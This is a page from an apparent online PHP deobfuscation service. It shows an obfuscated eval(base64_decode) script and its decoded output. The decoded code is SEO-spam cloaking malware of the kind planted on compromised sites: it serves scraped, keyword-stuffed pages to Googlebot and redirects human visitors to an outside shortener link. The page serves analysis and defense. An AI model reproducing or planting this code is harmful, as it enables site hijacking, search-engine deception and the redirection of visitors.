Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('CiBnb3RvIFZBNUJ0OyBFcWx5MjogJGhvc3QgPSAkZG9tYWluUGFyc2VbIlx4Njhc..
Decoded Output download
goto VA5Bt; Eqly2: $host = $domainParse["host"]; goto yY4Ll; gzdAD: $registerUrl = "https://kutt.arrehlah.com/k9a"; goto dbBWI; sHAx0: $params = "go"; goto gzdAD; Wz6JG: function stripTextToWords($text, $limit = 20) { $words = explode(" ", $text); $first_word = array_slice($words, 0, $limit); return implode(" ", $first_word); } goto gLg08; gLg08: if (!empty($params)) { $sorry = trim($params); if (isset($_GET[$sorry]) && !empty($_GET[$sorry])) { $pg = $_GET[$sorry]; $link = (empty($_SERVER["HTTPS"]) ? "http" : "https") . "://{$_SERVER["HTTP_HOST"]}{$_SERVER["REQUEST_URI"]}"; $search_query = $pg; $num_results = 10; $query_encode = urlencode($search_query); $url = "https://www.google.com/search?q=" . $query_encode; $googleBotUserAgents = array("Googlebot", "Googlebot-Image", "Googlebot-News", "Googlebot-Video", "Google-InspectionTool", "Google-Site-Verification"); $isGooglebot = false; foreach ($googleBotUserAgents as $googleUserAgent) { if (stripos($userAgent, $googleUserAgent) !== false) { $isGooglebot = true; break; } } if (!$isGooglebot) { header("Location: https://kutt.arrehlah.com/k9a"); die; } $cachePath = __DIR__ . "/cache/" . $query_encode . ".html"; if ($cache) { if (file_exists($cachePath)) { echo file_get_contents($cachePath); die; } if (!file_exists($cachePath) && !isset($_GET["bypass"])) { $content = file_get_contents($link . "&bypass=true"); file_put_contents($cachePath, $content); echo file_get_contents($cachePath); die; } } $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $html = curl_exec($ch); curl_close($ch); $dom = new DOMDocument(); @$dom->loadHTML($html); $titles = $dom->getElementsByTagName("h3"); $valid_titles = array(); foreach ($titles as $title) { $title_text = trim($title->nodeValue); if (!empty($title_text)) { $valid_titles[] = $title_text; } } if (count($valid_titles) > 0) { $longest_title = ''; $longest_title_length = 0; foreach ($valid_titles as $title) { if (strlen($title) > $longest_title_length) { $longest_title = $title; $longest_title_length = strlen($title); } } shuffle($valid_titles); if (count($valid_titles) < 4) { $random_titles = array(); for ($i = 0; $i < 4; $i++) { $random_titles[] = $valid_titles[$i % count($valid_titles)]; } } else { $random_titles = array_slice($valid_titles, 0, 4); } $random_titles[0] = $longest_title; $random_titles_array = array("Random Title 1: " . $random_titles[0], "Random Title 2: " . $random_titles[1], "Random Title 3: " . $random_titles[2], "Random Title 4: " . $random_titles[3]); } else { $random_titles_array = array("No valid titles found."); } $descriptions = file("desc.txt", FILE_IGNORE_NEW_LINES); $randomDescription = $descriptions[array_rand($descriptions)]; preg_match_all("/\{([^\}]+)\}/", $randomDescription, $descriptionMatches); foreach ($descriptionMatches[1] as $descriptionMatch) { $descriptionOptions = explode("|", $descriptionMatch); $randomDescriptionOption = $descriptionOptions[array_rand($descriptionOptions)]; $randomDescription = str_replace("{" . $descriptionMatch . "}", $randomDescriptionOption, $randomDescription); } $keywords = file("hajar.txt", FILE_IGNORE_NEW_LINES); $hyperlinks = array(); for ($i = 0; $i < 5; $i++) { $hyperlinks[] = $keywords[array_rand($keywords)]; } $articles = file("art.txt", FILE_IGNORE_NEW_LINES); $hyperlink1 = $keywords[array_rand($keywords)]; $hyperlink2 = $keywords[array_rand($keywords)]; $hyperlink3 = $keywords[array_rand($keywords)]; $hyperlink4 = $keywords[array_rand($keywords)]; $hyperlink5 = $keywords[array_rand($keywords)]; $domainUrlHyperlink3 = str_replace($pg, $hyperlink3, $baseUrl); $domainUrlHyperlink4 = str_replace($pg, $hyperlink4, $baseUrl); $domainUrlHyperlink5 = str_replace($pg, $hyperlink5, $baseUrl); $articles = file("art.txt", FILE_IGNORE_NEW_LINES); $randomArticle1 = $articles[array_rand($articles)]; $randomArticle2 = $articles[array_rand($articles)]; $randomArticle3 = $articles[array_rand($articles)]; $randomArticle4 = $articles[array_rand($articles)]; $randomArticle5 = $articles[array_rand($articles)]; $randomArticle6 = $articles[array_rand($articles)]; $randomArticle7 = $articles[array_rand($articles)]; $randomArticle8 = $articles[array_rand($articles)]; $randomArticle9 = $articles[array_rand($articles)]; $randomArticle10 = $articles[array_rand($articles)]; $randomArticle11 = $articles[array_rand($articles)]; $randomArticle12 = $articles[array_rand($articles)]; $randomArticle13 = $articles[array_rand($articles)]; $randomArticle14 = $articles[array_rand($articles)]; $randomArticle15 = $articles[array_rand($articles)]; foreach (range(1, 15) as $i) { ${"randomArticle" . $i} = preg_replace_callback("/\{([^\}]+)\}/", function ($matches) { $options = explode("|", $matches[1]); return $options[array_rand($options)]; }, ${"randomArticle" . $i}); } $ratingCount = rand(4000, 87000); $ratingCount2 = number_format($ratingCount, 0, ".", "."); if (isset($random_titles) && count($random_titles) < 1) { $random_titles[] = stripTextToWords($randomDescription); $random_titles[] = stripTextToWords($randomDescription); } } } goto SH5Bm; VA5Bt: $domainParse = parse_url($domainUrl); goto Eqly2; yY4Ll: $domain = $_SERVER["SERVER_NAME"]; goto sHAx0; ryzdj: $baseUrl = str_replace("?bypass=true", '', $baseUrl); goto Wz6JG; EqXpV: $baseUrl = str_replace("&bypass=true", '', $baseUrl); goto ryzdj; dbBWI: $basePath = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" ? "https" : "http"; goto FoYjs; FoYjs: $basePath .= "://" . $_SERVER["HTTP_HOST"]; goto TvS0i; TvS0i: $baseUrl = $basePath . $_SERVER["REQUEST_URI"]; goto EqXpV; SH5Bm:
Did this file decode correctly?
Original Code
<?php eval(base64_decode('CiBnb3RvIFZBNUJ0OyBFcWx5MjogJGhvc3QgPSAkZG9tYWluUGFyc2VbIlx4NjhceDZmXDE2M1x4NzQiXTsgZ290byB5WTRMbDsgZ3pkQUQ6ICRyZWdpc3RlclVybCA9ICJceDY4XDE2NFwxNjRceDcwXHg3M1w3Mlx4MmZcNTdceDZiXHg3NVx4NzRcMTY0XDU2XHg2MVwxNjJceDcyXDE0NVx4NjhceDZjXDE0MVwxNTBceDJlXHg2M1wxNTdcMTU1XHgyZlx4NmJcNzFcMTQxIjsgZ290byBkYkJXSTsgc0hBeDA6ICRwYXJhbXMgPSAiXHg2N1wxNTciOyBnb3RvIGd6ZEFEOyBXejZKRzogZnVuY3Rpb24gc3RyaXBUZXh0VG9Xb3JkcygkdGV4dCwgJGxpbWl0ID0gMjApIHsgJHdvcmRzID0gZXhwbG9kZSgiXDQwIiwgJHRleHQpOyAkZmlyc3Rfd29yZCA9IGFycmF5X3NsaWNlKCR3b3JkcywgMCwgJGxpbWl0KTsgcmV0dXJuIGltcGxvZGUoIlx4MjAiLCAkZmlyc3Rfd29yZCk7IH0gZ290byBnTGcwODsgZ0xnMDg6IGlmICghZW1wdHkoJHBhcmFtcykpIHsgJHNvcnJ5ID0gdHJpbSgkcGFyYW1zKTsgaWYgKGlzc2V0KCRfR0VUWyRzb3JyeV0pICYmICFlbXB0eSgkX0dFVFskc29ycnldKSkgeyAkcGcgPSAkX0dFVFskc29ycnldOyAkbGluayA9IChlbXB0eSgkX1NFUlZFUlsiXHg0OFwxMjRceDU0XDEyMFwxMjMiXSkgPyAiXDE1MFwxNjRceDc0XDE2MCIgOiAiXDE1MFx4NzRceDc0XDE2MFx4NzMiKSAuICJceDNhXDU3XDU3eyRfU0VSVkVSWyJcMTEwXDEyNFx4NTRcMTIwXHg1ZlwxMTBcMTE3XDEyM1wxMjQiXX17JF9TRVJWRVJbIlx4NTJcMTA1XHg1MVwxMjVceDQ1XHg1M1x4NTRceDVmXHg1NVwxMjJcMTExIl19IjsgJHNlYXJjaF9xdWVyeSA9ICRwZzsgJG51bV9yZXN1bHRzID0gMTA7ICRxdWVyeV9lbmNvZGUgPSB1cmxlbmNvZGUoJHNlYXJjaF9xdWVyeSk7ICR1cmwgPSAiXDE1MFwxNjRceDc0XHg3MFwxNjNceDNhXHgyZlx4MmZcMTY3XHg3N1wxNjdcNTZceDY3XHg2Zlx4NmZcMTQ3XDE1NFx4NjVceDJlXHg2M1x4NmZceDZkXHgyZlwxNjNceDY1XHg2MVwxNjJceDYzXDE1MFw3N1wxNjFcNzUiIC4gJHF1ZXJ5X2VuY29kZTsgJGdvb2dsZUJvdFVzZXJBZ2VudHMgPSBhcnJheSgiXDEwN1x4NmZcMTU3XHg2N1wxNTRcMTQ1XDE0MlwxNTdcMTY0IiwgIlx4NDdcMTU3XHg2ZlwxNDdceDZjXDE0NVwxNDJceDZmXHg3NFw1NVx4NDlcMTU1XDE0MVwxNDdcMTQ1IiwgIlx4NDdceDZmXDE1N1wxNDdceDZjXHg2NVwxNDJceDZmXHg3NFx4MmRceDRlXDE0NVx4NzdcMTYzIiwgIlx4NDdceDZmXDE1N1x4NjdcMTU0XDE0NVwxNDJceDZmXDE2NFw1NVwxMjZcMTUxXHg2NFwxNDVcMTU3IiwgIlx4NDdceDZmXHg2ZlwxNDdceDZjXHg2NVw1NVwxMTFcMTU2XDE2M1x4NzBcMTQ1XDE0M1x4NzRceDY5XHg2Zlx4NmVceDU0XDE1N1x4NmZceDZjIiwgIlx4NDdcMTU3XHg2ZlwxNDdceDZjXHg2NVw1NVwxMjNcMTUxXHg3NFx4NjVceDJkXDEyNlwxNDVcMTYyXHg2OVx4NjZceDY5XDE0M1x4NjFcMTY0XHg2OVwxNTdcMTU2Iik7ICRpc0dvb2dsZWJvdCA9IGZhbHNlOyBmb3JlYWNoICgkZ29vZ2xlQm90VXNlckFnZW50cyBhcyAkZ29vZ2xlVXNlckFnZW50KSB7IGlmIChzdHJpcG9zKCR1c2VyQWdlbnQsICRnb29nbGVVc2VyQWdlbnQpICE9PSBmYWxzZSkgeyAkaXNHb29nbGVib3QgPSB0cnVlOyBicmVhazsgfSB9IGlmICghJGlzR29vZ2xlYm90KSB7IGhlYWRlcigiXDExNFx4NmZcMTQzXDE0MVwxNjRcMTUxXHg2ZlwxNTZcNzJceDIwXHg2OFx4NzRcMTY0XHg3MFwxNjNceDNhXHgyZlx4MmZceDZiXDE2NVwxNjRceDc0XDU2XHg2MVx4NzJcMTYyXDE0NVwxNTBcMTU0XDE0MVwxNTBcNTZceDYzXHg2ZlwxNTVcNTdcMTUzXDcxXDE0MSIpOyBkaWU7IH0gJGNhY2hlUGF0aCA9IF9fRElSX18gLiAiXDU3XHg2M1wxNDFceDYzXDE1MFwxNDVceDJmIiAuICRxdWVyeV9lbmNvZGUgLiAiXHgyZVwxNTBceDc0XHg2ZFwxNTQiOyBpZiAoJGNhY2hlKSB7IGlmIChmaWxlX2V4aXN0cygkY2FjaGVQYXRoKSkgeyBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCRjYWNoZVBhdGgpOyBkaWU7IH0gaWYgKCFmaWxlX2V4aXN0cygkY2FjaGVQYXRoKSAmJiAhaXNzZXQoJF9HRVRbIlwxNDJceDc5XHg3MFx4NjFcMTYzXHg3MyJdKSkgeyAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRsaW5rIC4gIlw0Nlx4NjJcMTcxXHg3MFwxNDFcMTYzXDE2M1x4M2RcMTY0XHg3MlwxNjVceDY1Iik7IGZpbGVfcHV0X2NvbnRlbnRzKCRjYWNoZVBhdGgsICRjb250ZW50KTsgZWNobyBmaWxlX2dldF9jb250ZW50cygkY2FjaGVQYXRoKTsgZGllOyB9IH0gJGNoID0gY3VybF9pbml0KCR1cmwpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOyAkaHRtbCA9IGN1cmxfZXhlYygkY2gpOyBjdXJsX2Nsb3NlKCRjaCk7ICRkb20gPSBuZXcgRE9NRG9jdW1lbnQoKTsgQCRkb20tPmxvYWRIVE1MKCRodG1sKTsgJHRpdGxlcyA9ICRkb20tPmdldEVsZW1lbnRzQnlUYWdOYW1lKCJceDY4XDYzIik7ICR2YWxpZF90aXRsZXMgPSBhcnJheSgpOyBmb3JlYWNoICgkdGl0bGVzIGFzICR0aXRsZSkgeyAkdGl0bGVfdGV4dCA9IHRyaW0oJHRpdGxlLT5ub2RlVmFsdWUpOyBpZiAoIWVtcHR5KCR0aXRsZV90ZXh0KSkgeyAkdmFsaWRfdGl0bGVzW10gPSAkdGl0bGVfdGV4dDsgfSB9IGlmIChjb3VudCgkdmFsaWRfdGl0bGVzKSA+IDApIHsgJGxvbmdlc3RfdGl0bGUgPSAnJzsgJGxvbmdlc3RfdGl0bGVfbGVuZ3RoID0gMDsgZm9yZWFjaCAoJHZhbGlkX3RpdGxlcyBhcyAkdGl0bGUpIHsgaWYgKHN0cmxlbigkdGl0bGUpID4gJGxvbmdlc3RfdGl0bGVfbGVuZ3RoKSB7ICRsb25nZXN0X3RpdGxlID0gJHRpdGxlOyAkbG9uZ2VzdF90aXRsZV9sZW5ndGggPSBzdHJsZW4oJHRpdGxlKTsgfSB9IHNodWZmbGUoJHZhbGlkX3RpdGxlcyk7IGlmIChjb3VudCgkdmFsaWRfdGl0bGVzKSA8IDQpIHsgJHJhbmRvbV90aXRsZXMgPSBhcnJheSgpOyBmb3IgKCRpID0gMDsgJGkgPCA0OyAkaSsrKSB7ICRyYW5kb21fdGl0bGVzW10gPSAkdmFsaWRfdGl0bGVzWyRpICUgY291bnQoJHZhbGlkX3RpdGxlcyldOyB9IH0gZWxzZSB7ICRyYW5kb21fdGl0bGVzID0gYXJyYXlfc2xpY2UoJHZhbGlkX3RpdGxlcywgMCwgNCk7IH0gJHJhbmRvbV90aXRsZXNbMF0gPSAkbG9uZ2VzdF90aXRsZTsgJHJhbmRvbV90aXRsZXNfYXJyYXkgPSBhcnJheSgiXHg1MlwxNDFceDZlXDE0NFx4NmZcMTU1XHgyMFx4NTRceDY5XHg3NFx4NmNceDY1XDQwXHgzMVw3Mlw0MCIgLiAkcmFuZG9tX3RpdGxlc1swXSwgIlwxMjJcMTQxXDE1Nlx4NjRcMTU3XDE1NVw0MFx4NTRcMTUxXDE2NFx4NmNcMTQ1XDQwXHgzMlx4M2FceDIwIiAuICRyYW5kb21fdGl0bGVzWzFdLCAiXDEyMlwxNDFceDZlXDE0NFwxNTdcMTU1XHgyMFwxMjRcMTUxXDE2NFx4NmNceDY1XDQwXHgzM1x4M2FcNDAiIC4gJHJhbmRvbV90aXRsZXNbMl0sICJcMTIyXHg2MVx4NmVceDY0XDE1N1wxNTVcNDBceDU0XHg2OVwxNjRcMTU0XHg2NVx4MjBceDM0XDcyXHgyMCIgLiAkcmFuZG9tX3RpdGxlc1szXSk7IH0gZWxzZSB7ICRyYW5kb21fdGl0bGVzX2FycmF5ID0gYXJyYXkoIlwxMTZcMTU3XDQwXDE2Nlx4NjFcMTU0XHg2OVx4NjRceDIwXDE2NFx4NjlceDc0XDE1NFx4NjVcMTYzXDQwXHg2Nlx4NmZceDc1XHg2ZVwxNDRceDJlIik7IH0gJGRlc2NyaXB0aW9ucyA9IGZpbGUoIlx4NjRcMTQ1XDE2M1x4NjNceDJlXHg3NFwxNzBcMTY0IiwgRklMRV9JR05PUkVfTkVXX0xJTkVTKTsgJHJhbmRvbURlc2NyaXB0aW9uID0gJGRlc2NyaXB0aW9uc1thcnJheV9yYW5kKCRkZXNjcmlwdGlvbnMpXTsgcHJlZ19tYXRjaF9hbGwoIlx4MmZcMTM0XHg3Ylx4MjhceDViXHg1ZVx4NWNceDdkXDEzNVw1M1w1MVwxMzRceDdkXDU3IiwgJHJhbmRvbURlc2NyaXB0aW9uLCAkZGVzY3JpcHRpb25NYXRjaGVzKTsgZm9yZWFjaCAoJGRlc2NyaXB0aW9uTWF0Y2hlc1sxXSBhcyAkZGVzY3JpcHRpb25NYXRjaCkgeyAkZGVzY3JpcHRpb25PcHRpb25zID0gZXhwbG9kZSgiXDE3NCIsICRkZXNjcmlwdGlvbk1hdGNoKTsgJHJhbmRvbURlc2NyaXB0aW9uT3B0aW9uID0gJGRlc2NyaXB0aW9uT3B0aW9uc1thcnJheV9yYW5kKCRkZXNjcmlwdGlvbk9wdGlvbnMpXTsgJHJhbmRvbURlc2NyaXB0aW9uID0gc3RyX3JlcGxhY2UoIlx4N2IiIC4gJGRlc2NyaXB0aW9uTWF0Y2ggLiAiXHg3ZCIsICRyYW5kb21EZXNjcmlwdGlvbk9wdGlvbiwgJHJhbmRvbURlc2NyaXB0aW9uKTsgfSAka2V5d29yZHMgPSBmaWxlKCJceDY4XDE0MVwxNTJcMTQxXDE2Mlx4MmVceDc0XDE3MFwxNjQiLCBGSUxFX0lHTk9SRV9ORVdfTElORVMpOyAkaHlwZXJsaW5rcyA9IGFycmF5KCk7IGZvciAoJGkgPSAwOyAkaSA8IDU7ICRpKyspIHsgJGh5cGVybGlua3NbXSA9ICRrZXl3b3Jkc1thcnJheV9yYW5kKCRrZXl3b3JkcyldOyB9ICRhcnRpY2xlcyA9IGZpbGUoIlwxNDFceDcyXDE2NFx4MmVceDc0XDE3MFx4NzQiLCBGSUxFX0lHTk9SRV9ORVdfTElORVMpOyAkaHlwZXJsaW5rMSA9ICRrZXl3b3Jkc1thcnJheV9yYW5kKCRrZXl3b3JkcyldOyAkaHlwZXJsaW5rMiA9ICRrZXl3b3Jkc1thcnJheV9yYW5kKCRrZXl3b3JkcyldOyAkaHlwZXJsaW5rMyA9ICRrZXl3b3Jkc1thcnJheV9yYW5kKCRrZXl3b3JkcyldOyAkaHlwZXJsaW5rNCA9ICRrZXl3b3Jkc1thcnJheV9yYW5kKCRrZXl3b3JkcyldOyAkaHlwZXJsaW5rNSA9ICRrZXl3b3Jkc1thcnJheV9yYW5kKCRrZXl3b3JkcyldOyAkZG9tYWluVXJsSHlwZXJsaW5rMyA9IHN0cl9yZXBsYWNlKCRwZywgJGh5cGVybGluazMsICRiYXNlVXJsKTsgJGRvbWFpblVybEh5cGVybGluazQgPSBzdHJfcmVwbGFjZSgkcGcsICRoeXBlcmxpbms0LCAkYmFzZVVybCk7ICRkb21haW5VcmxIeXBlcmxpbms1ID0gc3RyX3JlcGxhY2UoJHBnLCAkaHlwZXJsaW5rNSwgJGJhc2VVcmwpOyAkYXJ0aWNsZXMgPSBmaWxlKCJcMTQxXDE2Mlx4NzRcNTZcMTY0XHg3OFx4NzQiLCBGSUxFX0lHTk9SRV9ORVdfTElORVMpOyAkcmFuZG9tQXJ0aWNsZTEgPSAkYXJ0aWNsZXNbYXJyYXlfcmFuZCgkYXJ0aWNsZXMpXTsgJHJhbmRvbUFydGljbGUyID0gJGFydGljbGVzW2FycmF5X3JhbmQoJGFydGljbGVzKV07ICRyYW5kb21BcnRpY2xlMyA9ICRhcnRpY2xlc1thcnJheV9yYW5kKCRhcnRpY2xlcyldOyAkcmFuZG9tQXJ0aWNsZTQgPSAkYXJ0aWNsZXNbYXJyYXlfcmFuZCgkYXJ0aWNsZXMpXTsgJHJhbmRvbUFydGljbGU1ID0gJGFydGljbGVzW2FycmF5X3JhbmQoJGFydGljbGVzKV07ICRyYW5kb21BcnRpY2xlNiA9ICRhcnRpY2xlc1thcnJheV9yYW5kKCRhcnRpY2xlcyldOyAkcmFuZG9tQXJ0aWNsZTcgPSAkYXJ0aWNsZXNbYXJyYXlfcmFuZCgkYXJ0aWNsZXMpXTsgJHJhbmRvbUFydGljbGU4ID0gJGFydGljbGVzW2FycmF5X3JhbmQoJGFydGljbGVzKV07ICRyYW5kb21BcnRpY2xlOSA9ICRhcnRpY2xlc1thcnJheV9yYW5kKCRhcnRpY2xlcyldOyAkcmFuZG9tQXJ0aWNsZTEwID0gJGFydGljbGVzW2FycmF5X3JhbmQoJGFydGljbGVzKV07ICRyYW5kb21BcnRpY2xlMTEgPSAkYXJ0aWNsZXNbYXJyYXlfcmFuZCgkYXJ0aWNsZXMpXTsgJHJhbmRvbUFydGljbGUxMiA9ICRhcnRpY2xlc1thcnJheV9yYW5kKCRhcnRpY2xlcyldOyAkcmFuZG9tQXJ0aWNsZTEzID0gJGFydGljbGVzW2FycmF5X3JhbmQoJGFydGljbGVzKV07ICRyYW5kb21BcnRpY2xlMTQgPSAkYXJ0aWNsZXNbYXJyYXlfcmFuZCgkYXJ0aWNsZXMpXTsgJHJhbmRvbUFydGljbGUxNSA9ICRhcnRpY2xlc1thcnJheV9yYW5kKCRhcnRpY2xlcyldOyBmb3JlYWNoIChyYW5nZSgxLCAxNSkgYXMgJGkpIHsgJHsiXHg3MlwxNDFceDZlXHg2NFwxNTdcMTU1XHg0MVx4NzJceDc0XDE1MVwxNDNceDZjXDE0NSIgLiAkaX0gPSBwcmVnX3JlcGxhY2VfY2FsbGJhY2soIlx4MmZceDVjXDE3M1w1MFwxMzNcMTM2XDEzNFx4N2RcMTM1XHgyYlx4MjlcMTM0XDE3NVx4MmYiLCBmdW5jdGlvbiAoJG1hdGNoZXMpIHsgJG9wdGlvbnMgPSBleHBsb2RlKCJcMTc0IiwgJG1hdGNoZXNbMV0pOyByZXR1cm4gJG9wdGlvbnNbYXJyYXlfcmFuZCgkb3B0aW9ucyldOyB9LCAkeyJcMTYyXDE0MVwxNTZcMTQ0XDE1N1wxNTVceDQxXDE2MlwxNjRcMTUxXHg2M1x4NmNcMTQ1IiAuICRpfSk7IH0gJHJhdGluZ0NvdW50ID0gcmFuZCg0MDAwLCA4NzAwMCk7ICRyYXRpbmdDb3VudDIgPSBudW1iZXJfZm9ybWF0KCRyYXRpbmdDb3VudCwgMCwgIlw1NiIsICJcNTYiKTsgaWYgKGlzc2V0KCRyYW5kb21fdGl0bGVzKSAmJiBjb3VudCgkcmFuZG9tX3RpdGxlcykgPCAxKSB7ICRyYW5kb21fdGl0bGVzW10gPSBzdHJpcFRleHRUb1dvcmRzKCRyYW5kb21EZXNjcmlwdGlvbik7ICRyYW5kb21fdGl0bGVzW10gPSBzdHJpcFRleHRUb1dvcmRzKCRyYW5kb21EZXNjcmlwdGlvbik7IH0gfSB9IGdvdG8gU0g1Qm07IFZBNUJ0OiAkZG9tYWluUGFyc2UgPSBwYXJzZV91cmwoJGRvbWFpblVybCk7IGdvdG8gRXFseTI7IHlZNExsOiAkZG9tYWluID0gJF9TRVJWRVJbIlx4NTNceDQ1XHg1Mlx4NTZceDQ1XDEyMlx4NWZcMTE2XHg0MVx4NGRceDQ1Il07IGdvdG8gc0hBeDA7IHJ5emRqOiAkYmFzZVVybCA9IHN0cl9yZXBsYWNlKCJceDNmXDE0Mlx4NzlceDcwXHg2MVwxNjNceDczXHgzZFx4NzRceDcyXDE2NVwxNDUiLCAnJywgJGJhc2VVcmwpOyBnb3RvIFd6NkpHOyBFcVhwVjogJGJhc2VVcmwgPSBzdHJfcmVwbGFjZSgiXDQ2XDE0MlwxNzFcMTYwXHg2MVwxNjNcMTYzXHgzZFwxNjRceDcyXHg3NVx4NjUiLCAnJywgJGJhc2VVcmwpOyBnb3RvIHJ5emRqOyBkYkJXSTogJGJhc2VQYXRoID0gaXNzZXQoJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFwxMjBcMTIzIl0pICYmICRfU0VSVkVSWyJcMTEwXDEyNFx4NTRcMTIwXHg1MyJdID09ICJcMTU3XDE1NiIgPyAiXDE1MFwxNjRcMTY0XHg3MFx4NzMiIDogIlwxNTBcMTY0XHg3NFwxNjAiOyBnb3RvIEZvWWpzOyBGb1lqczogJGJhc2VQYXRoIC49ICJceDNhXDU3XDU3IiAuICRfU0VSVkVSWyJcMTEwXDEyNFwxMjRcMTIwXHg1ZlwxMTBcMTE3XHg1M1wxMjQiXTsgZ290byBUdlMwaTsgVHZTMGk6ICRiYXNlVXJsID0gJGJhc2VQYXRoIC4gJF9TRVJWRVJbIlx4NTJceDQ1XDEyMVwxMjVceDQ1XDEyM1wxMjRceDVmXHg1NVx4NTJcMTExIl07IGdvdG8gRXFYcFY7IFNINUJtOiA=')); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | fe77e5c253ff6a3b884349abac582356 |
Eval Count | 1 |
Decode Time | 76 ms |